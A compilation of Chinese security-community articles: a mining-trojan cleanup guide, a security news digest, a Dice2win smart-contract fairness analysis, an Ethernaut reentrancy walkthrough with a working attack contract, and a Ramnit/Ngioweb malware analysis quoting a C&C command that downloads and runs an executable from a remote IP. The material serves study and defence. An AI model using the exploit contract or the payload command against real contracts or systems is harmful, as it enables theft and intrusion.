2、脚本下载AnXqV和ddg文件并运行，AnXqV进行挖矿，ddg进行系统监控远程调用并内网传播。
**0x03 清理方案**
根据以上原理对木马进行清除，由于不同版本木马的写入文件名不同，需对照各自木马脚本下载的文件路径和文件名执行以下操作：
1、设置redis授权访问。
2、阻断服务器通讯。
(如iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d
xmr.crypto-pool.fr -j DROP)
3、清除定时器任务。(如systemctl stop crond)
4、删除木马和未知公钥文件。(如/tmp/ddg.222,/tmp/AnXqV.yam,/tmp/AnXqV,/tmp/AnXqV.noaes等及
~/.ssh/中未知授权)
5、终止木马进程。(如pkill AnXqV,pkill ddg.222)
**0x04 总结**
通过对此次木马扩散事件的分析和处理，为减少和杜绝此类事件的再次发生，提高安全预警能力，在此提醒业界同仁加强关注日常高带宽高资源服务器的运维安全细节：
1、对各类访问认证进行严格的授权
2、定期排查和实时抽查服务器状态，异常流量及cpu消耗需及时上报分析并与专业安全团队合作协查
3、关注敏感安全事件，及时修复高危漏洞
欢迎各位安全工作者关注乐视安全，向我们反馈涉及乐视公司的任何安全相关问题，我们将会及时确认、处理！希望大家大力支持乐视安全应急响应中心。漏洞接收邮箱：[email protected]
**【转载须知】 转载请留言，无授权内容及图片的童鞋会被举报的哦~** | 社区文章 |
# 1月12日安全热点–补丁之后Intel芯片性能/D-Link路由器代码执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Intel表示补丁可能会导致使用搭载旧芯片计算机的重启问题
（Intel公司周四表示，最近发布的芯片漏洞补丁可能会导致使用旧版Broadwell和Haswell处理器的计算机重启次数比平时多，而且Intel可能需要发布更新来修复这个漏洞修补程序。）
<https://news.hitb.org/content/intel-says-patches-can-cause-reboot-problems-old-chips>
Intel官方发布的性能对比（使用/未使用缓解措施）：在Windows平台浏览网页时的性能顶多下降了10%；而3D/游戏时的性能表现几乎没有变化
<https://newsroom.intel.com/editorials/intel-security-issue-update-initial-performance-data-results-client-systems/>
恶意攻击者在Oracle WebLogic服务器上利用漏洞挖矿
<https://www.bleepingcomputer.com/news/security/hackers-make-whopping-226k-installing-monero-miners-on-oracle-weblogic-servers/>
PowerShell Core 6.0发布
<https://blogs.msdn.microsoft.com/powershell/2018/01/10/powershell-core-6-0-generally-available-ga-and-supported/>
## 技术类
为什么一些安全产品会受到Meltdown/Spectre补丁的影响，而其他的并不受影响
<https://blog.minerva-labs.com/why-your-security-solution-isnt-catching-evasive-malware-0>
0patch Team讲述他们是如何发现，利用CVE-2018-0802以及给这个漏洞打补丁的
<https://0patch.blogspot.com/2018/01/the-bug-that-killed-equation-editor-how.html>
iOS内核利用考古学
<https://census-labs.com/news/2018/01/11/iOS-kernel-exploitation-archaeology/>
演讲视频（此次演讲主要介绍了evasi0n7越狱的内核exploit的技术细节）
<https://media.ccc.de/v/34c3-8720-ios_kernel_exploitation_archaeology>
mitm6：用IPv6攻陷IPv4网络的工具
<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>
<https://github.com/fox-it/mitm6/>
D-Link Routers 110/412/615/815 < 1.03 – ‘service.cgi’ 任意代码执行
<https://www.exploit-db.com/exploits/43496/>
macOS – ‘process_policy’ Stack Leak Through Uninitialized Field
<https://www.exploit-db.com/exploits/43521/>
漏洞聚焦：跨平台的3D绘图及渲染软件Blender多个漏洞
<http://blog.talosintelligence.com/2018/01/unpatched-blender-vulns.html>
各种开源CMS 各种版本的漏洞以及EXP
<https://github.com/Mr5m1th/POC-Collect>
看我如何提取 Google Chrome 中的密码
<https://blog.elcomsoft.com/2018/01/extracting-and-making-use-of-chrome-passwords/> | 社区文章 |
# Not a fair game, Dice2win公平性分析
##### 译文声明
本文是翻译文章，文章原作者 Peng Zhiniang，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/post/Fairness_Analysis_of_Dice2win.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 作者：Zhiniang Peng from Qihoo 360 Core Security
>
> Dice2win
> 目前是以太坊上一款异常火爆的区块链博彩游戏。号称“可证明公平的”Dice2win目前每日有近千以太(一百五十万人民币)的下注额，是总交易量仅次于etheroll的第二大以太坊博彩游戏。然而我们分析发现，dice2win中的所有游戏都存在公平性漏洞，庄家可以利用这些漏洞操纵游戏结果。
## Dice2win游戏介绍
Dice2win目前有包括“抛硬币”、“掷骰子”、“两个骰子”、“过山车”几款游戏。其介绍如图：
在这些游戏中，每个用户单独下注与庄家进行一对一对赌。游戏的本质，是用户和庄家在去中心化的以太坊智能合约平台上通过一系列协议来生成随机数。如果用户猜中随机数，则用户胜利，否则庄家胜利。
在进一步介绍Dice2win工作流程和公平性分析之前，我们先讨论一个历史悠久的密码学问题：Mental poker。 Mental
poker是由Shamir, Rivest和Adleman 1978年在文章“Is it possible to play a fair game of
‘Mental Poker”中首次提出的概念。(Shamir,
Rivest和Adleman有没有很眼熟？没错，就是你知道的RSA)其本质是想解决：在没有可信第三方的参与的情况下(可信平台或软件)，两个不诚实的参与方如何在网络上进行一场公平的棋牌游戏。在公平性的定义中，有非常重要的一点：如果任何一方收到了游戏结果，那么所有的诚实方都应该收到结果。
Dice2win实际上是利用区块链实现mental poker的典型案例。但我们发现，Dice2win并不满足mental poker的公平性安全。
## 选择性中止攻击
这里我们来看看Dice2win的工作原理。Dice2win游戏的本质，是用户和庄家在去中心化的以太坊智能合约平台上通过一系列协议来生成随机数。如果用户猜中随机数，则用户胜利，否则庄家胜利。游戏总体工作流程如下：
1. 【庄家承诺】庄家(secretSigner)随机生成某随机数reveal，同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度，设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig，同时把(commit, commitLastBlock,sig)发送给玩家。
2. 【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏，猜测一个随机数r，发送下注交易placeBet到智能合约上进行下注。
3. 【矿工打包】下注交易被以太坊矿工打包到区块block1中，并将玩家下注内容存储到合约存储空间中。
4. 【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件，则用户胜，否则庄家胜。此外游戏还设有大奖机制，即如果某次random_number满足某个特殊值(如88888)，则用户可赢得奖金池中的大奖。
Dice2win在其官网和白皮书宣称自己的游戏具有数学上可证明的公平性，其随机数是随机数生成过程由矿工和庄家共同决定，矿工或者庄家无法左右游戏结果，所以玩家可以放心下注。此外，在一些介绍以太坊智能合约安全的文章中，我们也看到一些作者将Dice2win的随机数生成过程称为极佳实践。
然而我们分析发现，dice2win中的所有游戏都会受到庄家选择性中止攻击，庄家可以选择性公布中将结果从而导致用户无法获胜或赢得彩票。我们考虑如下两个攻击场景：
场景1：
用户下注额大，且赔率高的情况下。用户下下注产生block1后，block1.hash实际上就已经固定了。此时庄家已经可以计算出random_number，从而计算出用户的投注结果和盈亏。则庄家可以选择性中止交易。如果用户不中奖，则庄家公布正常开奖结果。如果用户中奖，则庄家可因为“网络用户和技术原因”从而导致用户该笔下注失效。
场景2：
用户下注额不大，但是block1产生后庄家发现random_number导致用户中彩票。则庄家可以选择性中止交易，导致用户该笔下注失效。
在这两种攻击场景下，庄家都能够轻松控制交易结果。当然庄家并不会对每笔交易都发起这种攻击，而是可以选择用户获奖特别大的交易进行操控。Dice2win官方实际上已经在智能合约代码得注释中声明了可能会发生“技术问题和以太坊拥堵”原因造成荷官无法开奖(大约1个小时内)，则用户可以提回下注款。
造成该漏洞的本质原因在于，该方案的随机数对于庄家而言并不是真正的随机。庄家可以提前知道下注的结果。想一想如果你去一个声称“绝对公平”的赌场赌骰子。在完成下注后，庄家是有一种方法先偷看一眼骰子结果，算一算盈亏之后再决定是否开奖(重摇)，这样的骰子，是真的随机的吗？
实际上选择性中止攻击(selective abort attack)是针对mental
poker公平性一种最常见的攻击方式。要修复该问题实际也很简单，只要以惩罚机制强制要求庄家在限制时间内打开承诺便可解决该问题。其他的适用于mental
poker或安全多方计算的随机数生成算法均可在此处适用。
## 选择性开奖攻击
选择性中止攻击的修复实际上非常简单，要求庄家在限定时间内打开承诺便可。但这并没有从机制上完全消除Dice2win庄家在游戏中的优势。是不是简单的直接引入其他mental
poker或安全多方计算的随机数生成算法到区块链智能合约平台上，就可以解决该问题了呢？实际上也未必能真正保证游戏的公平性。这里我们称述一个我们有趣的发现：
区块链智能合约上玩家交互的通讯模型，与传统的互联网用户点对点通讯模型是有区别的。传统的点对点通讯模型下证明的安全协议，直接套用到智能合约平台上未必能保证其安全性。核心原因在于：传统的点对点通讯模型下，协议的执行是顺序的，不可逆的。而智能合约的通讯模型中，由于POW等共识算法存在分叉的可能性，协议的执行可能是非顺序的可逆的。在下图中，假设黑色区块为网络主链，白色区块是分叉区块。如果一个安全多方计算的协议步骤（某笔交易）在白色执行，那么该交易将不会生效。例如Alice和Bob在区块链上进行某种计算。Alice在区块B5上执行某笔交易，Bob随后在区块B6上公布某个秘密。随后因为网络发生分叉，B5、B6上的交易都失效了。但是Alice却收到了秘密。
以太坊使用“幽灵协议(GHOST
protocol)”来选择区块成为主链。分叉块包括叔块和孤块。下图中我们可以看到，当前以太坊叔块的概率已经达到10%以上。所以直接简单的将mental
poker和安全多方计算的一些协议移植到智能合约平台上时，发生不稳定事件的概率是不可忽略的。
解决该问题的最直接的方法是，智能合约中协议的每步执行之间等待足够长的时间。当我们有接近100%把握上一个一笔交易已经在区块中稳定了，再执行下一笔交易。但这样的方式，一次交互可能要等待多个区块（数分钟的时间）才能完成。对于博彩游戏而言，显然是不可接受的。
事实上在Dice2win在上个月已经意识到叔块所带来的问题了，并声称他们的提出的MerkleProof方法可以解决该问题，从而使得游戏变得公平。并在commit中提出了使MerkleProof的方法来对叔块中的下注进行开奖（[https://github.com/dice2-win/contracts/commit/86217b39e7d069636b04429507c64dc061262d9c）。](https://github.com/dice2-win/contracts/commit/86217b39e7d069636b04429507c64dc061262d9c%EF%BC%89%E3%80%82)
现在我们看看Dice2win如何解决这个问题。在Dice2win的代码中（[https://github.com/dice2-win/contracts/blob/b0a0412f0301623dc3af2743dcace8e86cc6036b/Dice2Win.sol），我们可以看到看到方法settleBetUncleMerkleProof](https://github.com/dice2-win/contracts/blob/b0a0412f0301623dc3af2743dcace8e86cc6036b/Dice2Win.sol%EF%BC%89%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%E7%9C%8B%E5%88%B0%E6%96%B9%E6%B3%95settleBetUncleMerkleProof)(uint
reveal, uint40 canonicalBlockNumber)：
Dice2win官方提出的MerkleProof方法的核心逻辑在于：为了提高用户体验（开奖速度），当荷官收到一个下注交易(Tx)的时候（假设在B5区块），就立刻计算出该下注结果并对该交易进行开奖。然而由于GHOST算法原因，最终主网选择了A5区块作为主链上的块（与B5区块hash值不同，所以开奖结果不一样）。那么此时，按合约原本SettleBet的方法是无法对B5区块进行开奖的。针对这个问题，Dice2win的解决办法是：直接对叔块进行开奖就好了。
如何对叔块进行开奖呢：因为叔块的hash是包含在主链上某个合法的区块上的。而以太坊的区块结构中又有非常多的哈希关联结构。具体我们可以看看以太坊区块头的定义：
所以我们能够从B5中交易Tx的交易执行结果Receipthash，一直计算向上层计算哈希得到叔块B5的
ReciptsRoot。然后再与其他结构进行Hash得到叔块B5的区块hash（我们称为uncleHash）。假设A6区块中引用了叔块B5的uncleHash,那么我们最终以A6的canonicalHash作为根节点，构造一个非结构性Merkle
Tree。交易Tx为其中一个叶节点。其结构图如下：
Dice2win提出的Merkle
proof算法的思路在于：当分叉块产生时(如同时产生B5与A5)，网络可能有两种开奖结果出现。但因为网络原因，荷官可能先收到其中一个块（假设为B5）。从荷官的视角来看，它并不知道B5是否会称为主链上的块。即使荷官多等待一段时间，收到了（A5、A6、B6）后，它仍然无法确定哪条链会称为主链。为了提高开奖速度，当荷官收到某个交易块之后，就马上进行开奖。如果该交易块最后成为主链(A5)，则正常使用SettleBet方法开奖。如果该区块最后成为叔块(B5)，则提交由该交易执行结果为叶根节点、引用该叔块的主链块canoinicalHash为根节点的非结构性Merkle
tree（如上图）的一个存在性证明( Merkle proof )。从而证明B5确实存在过，且交易Tx包含在B5中；荷官可以使用叔块进行开奖。
Dice2win的Merkle
proof算法看上去是一个解决以太坊上去中心化博彩游戏开奖速度的很好的思路。但实际上该做法并不公平，以太坊上接近10%的叔块率可以导致荷官以比较大的优势可以根据游戏结果进行选择性开奖。如果A5庄家赢就开A5，如果B5庄家赢就开B5。这样的方案显然不公平。
## 任意开奖攻击（Merkle proof验证绕过漏洞）
在详细阅读Dice2win关于Merkle proof的实现后，我们发现目前该合约的非结构性Merkle
Proof验证存在诸多绕过方法。即荷官可以伪造一个叔块B5的Merkle proof，欺骗合约实现对任意结果进行开奖。
####
[](http://blogs.360.cn/post/Fairness_Analysis_of_Dice2win.html#toc-026)一次已经发生过的Merkle
proof验证绕过攻击分析
同时，我们翻阅合约历史发现其实上个月就已经有攻击者实现了对该Merkle
proof算法的绕过，将该版本的合约余额洗劫一空(但该情况为引起社区重视，Dice2win官方对该事件进行了冷处理)。在介绍我们的漏洞之前，我们可以先看看这个已发生对该Merkle
proof验证算法的攻击方法。其中一笔攻击交易发生在：
<https://etherscan.io/tx/0xd3b1069b63c1393b160c65481bd48c77f1d6f2b9f4bde0fe74627e42a4fc8f81>
攻击者通过创建攻击合约0xc423379e42bb79167c110f4ac541c1e7c7f663d8，并在合约0xc423379e42bb79167c110f4ac541c1e7c7f663d8调用placeBet方法自动化进行下注（17次下注，每次2以太）。然后伪造Merkle
proof,调用settleBetUncleMerkleProof方法开奖，在赢取了33以太后将奖金转到账户0x54b7eb670e091411f82f50fdee3743bd03384aff，最后合约自杀销毁。通过对该合约bytecode的逆向分析，我们可以得知该攻击利用了如下漏洞：
1. Dice2win不同版本的合约，存在secretSigner相同的情况。导致一个庄家的承诺可以在不同版本的合约中使用。【运维原因产生的安全漏洞】
2. placeBet方法中对commit的过期校验可被绕过。commitLastBlock与当前block.number进行大小判断时是uint256类型的。然后再带入keccak256进行签名验证的时候却转换成了uint40。那么攻击者将任意一个secretSigner签名的commitLastBlock 的最高位(256bit)从0修改为1，则可绕过时间验证。【漏洞在最新版本中仍未修复，详细见下图】
3. Merkle proof校验不严格。在该版本的settleBetUncleMerkleProof中，每次计算hashSlot偏移的边界检查不严格(缺少32byte)，导致攻击者可以不需要将目标commit绑定到该Merkle proof的计算中，从而绕过验证。【该漏洞已修复，详见下图】
####
[](http://blogs.360.cn/post/Fairness_Analysis_of_Dice2win.html#toc-3cc)Merkle
proof验证绕过漏洞
经过我们分析，Dice2win目前版本的Merkle
proof仍然存在多种绕过方法。由于该方法目前只能由荷官调用，所以普通攻击者无法利用该漏洞。但该漏洞可以作为荷官后门实现任意开奖。
这里我们大致整理当前验证算法的验证逻辑：
1. 先调用requireCorrectReceipt方法校验Receipt格式满足条件。
2. Recipt trie entry中包含的是一个成功的交易。
3. 交易的目标地址是Dice2win合约。
4. Merkle Proof验证计算的起始叶节点包含目标commit。
5. 最后计算得到的canonicalHash是一个合法的主链块哈希。 条件1、2、3的满足并不是强绑定的，我们只要构造满足条件的数据格式就可以了。条件4、5的绕过，本质上是要迭代计算： hash_0=commit hash_{n+1}= SHA3(something_{n1},hash_n,something_{n2}) canonicalHash=hash_{lastone}
攻击方法1：
一个执行成功的叔块交易中包含目标commit并不是什么难构造的事情。荷官可以在某个合约调用交易的input输入里面塞入该commit就能绕过。当然该绕过方法比较麻烦。
攻击方法2：
由于hash_{n+1}=
SHA3(something_{n1},hash_n,something_{n2})的迭代计算未进行深度检查。所以荷官可以在本地生意一个新的merkle
tree,该merkle tree的叶节点满足1、2、3条件且包含多个commit_i。将该merkle
tree的根hash嵌入到一个正常的区块中，就能生成一个合法的证明。在该攻击方法中，荷官可以一劳永逸，对所有的commit进行任意开奖。
这些绕过方法的核心问题在于：目前该非结构化的Merkle tree实际上并不满足我们常说的Merkle hash tree的结构。常规的Merkle
hash tree在加强限制的条件下能够进行存在性证明，但Dice2win的非结构化Merkle证明算法难以实现该目的。
####
[](http://blogs.360.cn/post/Fairness_Analysis_of_Dice2win.html#toc-550)其他安全问题：
当用户下注未被开奖，用户可以调用refundBet来溢出jackpotSize，造成jackpotSize变为一个巨大的整数(由Gaia发现并指出)。
## 后记
1. Dice2win并不是一个公平的博彩游戏。
2. 智能合约的安全问题非常严峻。(这实际上是我分析的第一个智能合约)
3. 传统的安全多方计算的协议有时不能简单套用的到智能合约环境中，因为其通讯模型有区别。 | 社区文章 |
**作者：Al1ex@七芒星实验室**
**原文链接：<https://mp.weixin.qq.com/s/YAPP-Hv71J3OxE5WZZikrA>**
#### 文章前言
以太坊智能合约中的函数通过private、internal、public、external等修饰词来限定合约内函数的作用域(内部调用或外部调用)，而我们将要介绍的重入漏洞就存在于合约之间的交互过程，常见的合约之间的交互其实也是很多的，例如：向未知逻辑的合约发送Ether，调用外部合约中的函数等，在以上交互过程看似没有什么问题，但潜在的风险点就是外部合约可以接管控制流从而可以实现对合约中不期望的数据进行修改，迫使其执行一些非预期的操作等。
#### 案例分析
这里以Ethernaut闯关游戏中的一个重入案例为例作为演示说明：
###### 闯关要求
盗取合约中的所有代币
###### 合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
###### 合约分析
在这里我们重点来看withdraw函数，我们可以看到它接收了一个_amount参数，将其与发送者的balance进行比较，不超过发送者的balance就将这些_amount发送给sender，同时我们注意到这里它用来发送ether的函数是call.value,发送完成后，它才在下面更新了sender的balances，这里就是可重入攻击的关键所在了，因为该函数在发送ether后才更新余额，所以我们可以想办法让它卡在call.value这里不断给我们发送ether，同样利用的是我们熟悉的fallback函数来实现。
当然，这里还有另外一个关键的地方——call.value函数特性，当我们使用call.value()来调用代码时，执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行，对应的，如果我们使用transfer和send函数来发送时，代码可用的gas仅有2300而已，这点gas可能仅仅只够捕获一个event，所以也将无法进行可重入攻击，因为send本来就是transfer的底层实现，所以他两性质也差不多。
根据上面的简易分析，我们可以编写一下EXP代码：
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
###### 攻击流程
点击“Get new Instance”来获取一个实例：
之后获取instance合约的地址
之后在remix中部署攻击合约
我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查：
contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})
这样就成功给我们的攻击合约的balance增加了1
ether，这里的sendTransaction跟web3标准下的用法是一样的，这时你再使用getbalance去看合约拥有的eth就会发现变成了2，说明它本来上面存了1个eth，然后我们返回攻击合约运行attack函数就可以完成攻击了:
查看balance,在交易前后的变化：
最后点击“submit instance”来提交示例即可：
#### 防御措施
1、建议将ether发送给外部地址时使用solidity内置的transfer()函数，transfer()转账时只发送2300gas，不足以调用另一份合约(即重入发送合约)，使用transfer()重写原合约的withdrawFunds()如下；
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
2、确保状态变量改变发生在ether被发送(或者任何外部调用)之前，即Solidity官方推荐的检查-生效-交互模式(checks-effects-interactions);
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {//检查
balances[msg.sender] -= _amount;//生效
msg.sender.transfer(_amount);//交互
}
}
3、使用互斥锁：添加一个在代码执行过程中锁定合约的状态变量，防止重入调用
bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
require(!reEntrancyMutex);
reEntrancyMutex = true;
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
reEntrancyMutex = false;
}
}
重入在The DAO攻击中发挥了重要作用，最终导致Ethereum Classic(ETC)的分叉，有关The DAO漏洞的详细分析，可参考下面这篇文章：
<http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/>
4、OpenZeppelin官方库
<https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
* * * | 社区文章 |
本文翻译自：<https://research.checkpoint.com/ramnits-network-proxy-servers/>
作者：Alexey Bukhteyev
* * *
Ramnit是目前最大的银行僵尸网络之一，最近checkpoint研究人员发现一起新的Ramnit大规模活动——Black，两个月就感染主机超过10万。其主要作用是将受害者设备变成恶意代理服务器。之后，僵尸网络就可以做很多用途了，研究人员认为这不是攻击活动的冰山一角，也意味着新的大规模攻击活动即将来临。
图2: Ramnit “black”僵尸网络地理分布
僵尸网络有很多新的特征：
* 很多样本使用硬编码的域名而不是DGA；
* C&C服务器不上传VNC、password stealer、FtpGrabber这样的额外模块；
* 其他模块（FTPServer、WebInjects）嵌入在Ramnit包中；
* Ramnit用做恶意软件Ngioweb的加载器
Ngioweb是一个多功能的代理服务器，使用自有二层加密的二进制协议进行通信。代理恶意软件支持back-connect模式、relay模式，IPv4、IPv6协议，TCP和UDP传输。恶意软件名来源于恶意软件配置中硬编码的域名`ngioweb[.]su`。
文中主要讲述恶意软件使用构建一个多目的的代理僵尸网络。
# 恶意软件功能
Ngioweb使用了两阶段的C&C基础设施。STAGE-0 C&C会通知恶意软件关于STAGE-1 C&C服务器的信息。STAGE-1
C&C服务器的作用是通过加密信道来控制恶意软件。
下图是感染过程的通信序列：
图3: Ngioweb感染和早期通信
恶意软件以两种模式运行：
* 常规的back-connect代理
* 中继代理
## Regular Back-Connect代理模式
该模式下可以以受感染主机的身份访问远程服务。为了建立STAGE-1 C&C服务器到远程主机的连接，需要执行下面的动作：
1. Ngioweb Bot-A 连接到C&C STAGE-0服务器，并接收连接到地址为A:6666的C&C STAGE-1服务器的命令；
2. Ngioweb Bot-A连接到地址为A:6666的C&C STAGE-1服务器，C&C STAGE-1服务器要求Bot-A通过TCP连接到x.x.x:443；
3. Bot-A连接到x.x.x.x:443；
4. Bot-A通知C&C STAGE-1成功连接的消息，并创建一个到A:6666 的额外的TCP会话，用于传输C&C STAGE-1服务器到x.x.x.x:443的数据。
图4:用Ngioweb proxy bot访问远程主机
相同模式可以用于访问受感染主机所在的本地网络中的内部资源：
图5: 访问受感染主机所在的本地网络的资源
## 中继代理模式
该模式功能强大，因为恶意软件单元可以用来构建代理链并将恶意软件的服务隐藏在僵尸主机的IP地址背后。
下面是构建Ngioweb僵尸网络使用的隐藏服务需要进行的动作：
1. Ngioweb Bot-A连接到C&C STAGE-0服务器，并接收连接到地址为X:6666的C&C STAGE-1服务器的命令；
2. Ngioweb Bot-A连接到地址为X:6666的C&C STAGE-1服务器(Server-X)。Server-X要求僵尸主机开启TCP服务器。Ngioweb僵尸主机报告开启的TCP服务器的IP地址和端口。
3. 恶意软件单元在DNS中公布Bot-A的地址；
4. 另一个恶意软件Bot-B用DNS解析Bot-A的地址；
5. Bot-B连接到Bot-A；
6. Bot-A 创建到Server-X的连接，并作为Server-X与Bot-B之间的中继。
图6:用Ngioweb proxy bot创建隐藏的服务
**构建代理链：**
1. Ngioweb Bot-A连接到C&C STAGE-1服务器，要是僵尸主机开启TCP服务器。Ngioweb僵尸主机报告开启的TCP服务器的IP地址和端口。
2. C&C STAGE-1报告给C&C STAGE-0 IP和relay proxy的端口。
3. 当新的僵尸主机(Bot-B)连接到C&C STAGE-0服务器时，就接收Bot-A的地址和端口。
4. Bot-B建立到Bot-A的TCP连接。
5. Bot-A建立到C&C STAGE-1的新TCP连接，然后创建C&C STAGE-1与Bot-B之间的通信信道。C&C STAGE-1服务器要求Bot-B连接到x.x.x.x:443。
6. Bot-B连接到x.x.x.x:443。
7. Bot-B建立到Bot-A，Bot-A建立到C&C STAGE-1的新连接。连接通过Bot-A和Bot-B连接C&C STAGE-1和x.x.x.x:443。
图7: 构建代理链
僵尸的结构并不考虑STAGE-0 C&C提供的地址属于攻击者还是另一个僵尸主机。
## 感染
研究人员曾发现Ngioweb样本与Ramnit打包在同一个释放器二进制文件中。但Ngioweb主要通过black僵尸网络进行传播。
通过Ramnit僵尸网络感染非常的简单。每次Ramnit僵尸进入C&C服务器都回接收到一个这样的命令：
{
’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,
’cmd_id’ : 3,
’TTL’ : 3600
}
Ramnit服务器用命令`getexec`使僵尸主机从特定URL下载和运行定制的可执行文件。`dml`的意思是下载使用的是Ramnit二进制协议而不是HTTP。`getexec`的第二个参数用来指定下载的可执行文件的文件名。
命令的TTL参数说明Ramnit的含有特定cmd_id的命令就会在TTL值的时间内过期，当时间传递过来时需要再次执行。因此，受害者计算机会再次感染Ngioweb恶意软件，直到Ramnit僵尸主机激活。
# 恶意软件分析
恶意软件会创建一个注入代码的进程链。
首先，恶意软件会将用process hollowing结束将代码注入新创建的进程`msiexec.exe`。
然后，当运行`msiexec.exe`进程时，恶意软件就会尝试创建以下进程来注入payload：
* exe
* 打开.html文件的默认应用
* exe
在进程链中的最后一个进程中执行主恶意执行。
图10: 进程创建链
为了防止创建多个恶意进程实例，恶意软件会创建一个有特定伪随机名的mutex，然后检查mutex是否存在：
图11: Mutex名生成算法
恶意软件会为下一步创建三个线程：
* 驻留监视线程
* 查询C&C STAGE-0服务器的线程
* 主命令句柄线程
线程之间的通信使用的是`PostQueuedCompletionStatus`和`GetQueuedCompletionStatus` API函数：
图12:通知主线程STAGE-0 C&C服务器的新命令
## 驻留机制
Ngioweb proxy用三种方法来实现在受害者操作系统中驻留：
* 当前用户的开始菜单文件夹
* 运行当前用户的注册表
* 计划任务
恶意软件会尝试复制自己到：
* `Program Files`中的伪随机路径内的`%APPDATA%`或`%LocalAppData%`目录；
* 使用Windows加密的`%TEMP%`中的伪随机路径。
恶意软件会用算法来生成路径并保持可执行文件为下一步的自动运行设置。
选择`Program Files ``%APPDATA%``%LocalAppData%`内除`Temp `` Common Files ``
Uninstall
Information`外的随机子文件夹。恶意软件会创建一个伪随机名的子文件夹，然后在文件夹中找到`.exe`或`.dll`文件，找到的文件名会永固保存恶意软件的可执行文件。如果没有找到`.exe`或`.dll`文件，恶意软件会递归地搜索内部子文件夹中的其他文件；如果都没有找到，恶意软件就会生成下面的名字：
图13: 文件名生成算法
恶意软件创建子文件夹来保存可执行文件。子文件名的生成使用的是下面的算法：
图14: 子文件名生成算法
因此，恶意软件的目标路径就是这样的：
C:\Program Files\Internet Explorer\v6.8.3.6\uDkxuDgJ.exe
如果没有找到`.exe`或`.dll`文件，文件名就是这样的：
C:\Program Files\Internet Explorer\v6.8.3.6\iexplore.exe
如果在`Program Files`目录中没有找到合适的子文件夹，恶意软件就会在`Program Files
